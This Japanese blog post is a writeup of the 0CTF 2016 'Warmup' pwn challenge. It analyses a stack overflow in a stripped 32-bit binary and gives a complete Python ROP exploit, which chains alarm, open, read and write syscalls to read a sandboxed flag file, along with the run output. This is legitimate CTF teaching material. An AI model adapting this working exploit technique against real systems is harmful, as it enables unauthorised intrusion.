つれづれなる備忘録

CTF関連の事やその他諸々

0CTF 2016 Quals Writeup

1年と3カ月ぶりの更新となります.

今までブログは自前のサーバで動かしていたのですが,なんか面倒臭くなってずっと放置してました.

WordPressで管理を続けるのもなんかアレなので,この度はてなブログに移行をしました.


さて,今回は0CTFに参加して解いた問題のWriteupを記しておこうかと思います.

(チームメイトと相談しながら解けた問題はいくつかあるけど,自分一人で解いたのは1問しかないのだいぶつらい.人権無い)

Warmup (Exploit 2)

問題文

warmup for pwning!

Notice: This service is protected by a sandbox, you can only read the flag at /home/warmup/flag


202.120.7.207 52608


下調べ

shiftcrops@S-Ubuntu:~/CTF/0CTF$ file warmup 
warmup: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, BuildID[sha1]=c1791030f336fcc9cda1da8dc3a3f8a70d930a11, stripped
shiftcrops@S-Ubuntu:~/CTF/0CTF$ checksec.sh --file warmup 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   warmup

stripされてはいるが,32bitなのでだいぶ優しい


プログラム動作解析

stripかーとか思ってobjdumpで開いてみたら,何のことは無かった

以下抜粋

080480d8 <.text>:
 80480d8:       83 ec 10                sub    esp,0x10
 80480db:       c7 04 24 0a 00 00 00    mov    DWORD PTR [esp],0xa
 80480e2:       e8 26 00 00 00          call   0x804810d <syscall_alarm>
 80480e7:       c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
 80480ee:       c7 44 24 04 bc 91 04    mov    DWORD PTR [esp+0x4],0x80491bc
 80480f5:       08 
 80480f6:       c7 44 24 08 16 00 00    mov    DWORD PTR [esp+0x8],0x16
 80480fd:       00 
 80480fe:       e8 32 00 00 00          call   0x8048135 <syscall_write>
 8048103:       e8 52 00 00 00          call   0x804815a <vuln>
 8048108:       e8 40 00 00 00          call   0x804814d <syscall_exit>

0804815a8 <vuln>:
 804815a:       83 ec 30                sub    esp,0x30
 804815d:       c7 04 24 00 00 00 00    mov    DWORD PTR [esp],0x0
 8048164:       8d 44 24 10             lea    eax,[esp+0x10]
 8048168:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 804816c:       c7 44 24 08 34 00 00    mov    DWORD PTR [esp+0x8],0x34
 8048173:       00 
 8048174:       e8 a4 ff ff ff          call   0x804811d <syscall_read>
 8048179:       c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
 8048180:       c7 44 24 04 d3 91 04    mov    DWORD PTR [esp+0x4],0x80491d3
 8048187:       08 
 8048188:       c7 44 24 08 0b 00 00    mov    DWORD PTR [esp+0x8],0xb
 804818f:       00 
 8048190:       e8 a0 ff ff ff          call   0x8048135 <syscall_write>
 8048195:       b8 af be ad de          mov    eax,0xdeadbeaf
 804819a:       b9 af be ad de          mov    ecx,0xdeadbeaf
 804819f:       ba af be ad de          mov    edx,0xdeadbeaf
 80481a4:       bb af be ad de          mov    ebx,0xdeadbeaf
 80481a9:       be af be ad de          mov    esi,0xdeadbeaf
 80481ae:       bf af be ad de          mov    edi,0xdeadbeaf
 80481b3:       bd af be ad de          mov    ebp,0xdeadbeaf
 80481b8:       83 c4 30                add    esp,0x30
 80481bb:       c3                      ret 

それぞれのシステムコールを呼ぶ関数は,eaxにシステムコール番号を格納してからスタックから引数を取り,割り込みを発生させるという動きをする.

戻り値が負ならsyscall_exitを呼ぶ.


問題はここ

0804815a8 <vuln>:
 804815a:       83 ec 30                sub    esp,0x30
 804815d:       c7 04 24 00 00 00 00    mov    DWORD PTR [esp],0x0
 8048164:       8d 44 24 10             lea    eax,[esp+0x10]
 8048168:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 804816c:       c7 44 24 08 34 00 00    mov    DWORD PTR [esp+0x8],0x34
 8048173:       00 
 8048174:       e8 a4 ff ff ff          call   0x804811d <syscall_read>

スタックを0x30byte確保し,0x10byte進んだところから0x34byteだけreadを行う.

すなわち0x14byteオーバフローを起こす.

0x20だけオフセットを取ってやればeipを取れるのだが,ここでopenが無いことにふと気づく

しかしまぁ,alarmあるし問題ない


解法

1回でオーバーフローする長さが短いので,return_to_vulnして繰り返しROPを行う

alarmでsys_openを指定し(exploit_st2),次に1秒以内にalarmを呼べばその値がeaxに格納されている.

その状態で引数にfilenameとflag,modeを与えればいいのだが,オーバーフローする長さが足りず残念ながらmodeまで指定できない.(exploit_st3)

しかし,開くだけだし問題なさそう

open("/home/warmup/flag", O_RDONLY, ??)

fd=3で開かれる筈なので,あとはこのファイルディスクリプタからreadして,STDOUT_FILENOにwriteすればお終い.

Exploit

#!/usr/bin/env python
from sc_pwn import *

target     = {'host':'202.120.7.207','port':52608}

addr_vuln           = 0x0804815a
addr_alarm          = 0x0804810d
addr_read           = 0x0804811d
addr_write          = 0x08048135
addr_exit           = 0x0804814d
addr_syscall_arg3   = 0x08048122
addr_buf            = 0x0804920c

str_fname           = '/home/warmup/flag\x00'
sys_open            = 0x05

#==========
def attack(cmn):    
    exploit_st1  = '\x00'*0x20
    exploit_st1 += pack_32(addr_read)
    exploit_st1 += pack_32(addr_vuln)
    exploit_st1 += pack_32(STDIN_FILENO)
    exploit_st1 += pack_32(addr_buf)
    exploit_st1 += pack_32(len(str_fname))

    exploit_st2  = '\x00'*0x20
    exploit_st2 += pack_32(addr_alarm)
    exploit_st2 += pack_32(addr_vuln)
    exploit_st2 += pack_32(sys_open)

    exploit_st3  = '\x00'*0x20
    exploit_st3 += pack_32(addr_alarm)
    exploit_st3 += pack_32(addr_syscall_arg3)
    exploit_st3 += pack_32(addr_vuln)
    exploit_st3 += pack_32(addr_buf)
    exploit_st3 += pack_32(O_RDONLY)

    exploit_st4  = '\x00'*0x20
    exploit_st4 += pack_32(addr_read)
    exploit_st4 += pack_32(addr_vuln)
    exploit_st4 += pack_32(3)
    exploit_st4 += pack_32(addr_buf)
    exploit_st4 += pack_32(0x100)

    exploit_st5  = '\x00'*0x20
    exploit_st5 += pack_32(addr_write)
    exploit_st5 += pack_32(addr_exit)
    exploit_st5 += pack_32(STDOUT_FILENO)
    exploit_st5 += pack_32(addr_buf)
    exploit_st5 += pack_32(0x100)

    cmn.read_until('2016!\n')
    cmn.send(exploit_st1)
    cmn.read_until('Good Luck!\n')
    cmn.send(str_fname)
    cmn.send(exploit_st2)
    cmn.read_until('Good Luck!\n')
    cmn.send(exploit_st3)
    cmn.read_until('Good Luck!\n')
    cmn.send(exploit_st4)
    cmn.read_until('Good Luck!\n')
    cmn.send(exploit_st5)
    cmn.read_until('Good Luck!\n')

    flag = cmn.read_until('\n')
    info('flag : %s' % flag)

#==========

if __name__=='__main__':
    cmn = Communicate(target,mode='RAW')
    attack(cmn)
    del(cmn)
    
#==========

実行結果

[*]Connect to 202.120.7.207:52608
[+]flag : 0ctf{welcome_it_is_pwning_time}

[*]Network Disconnect...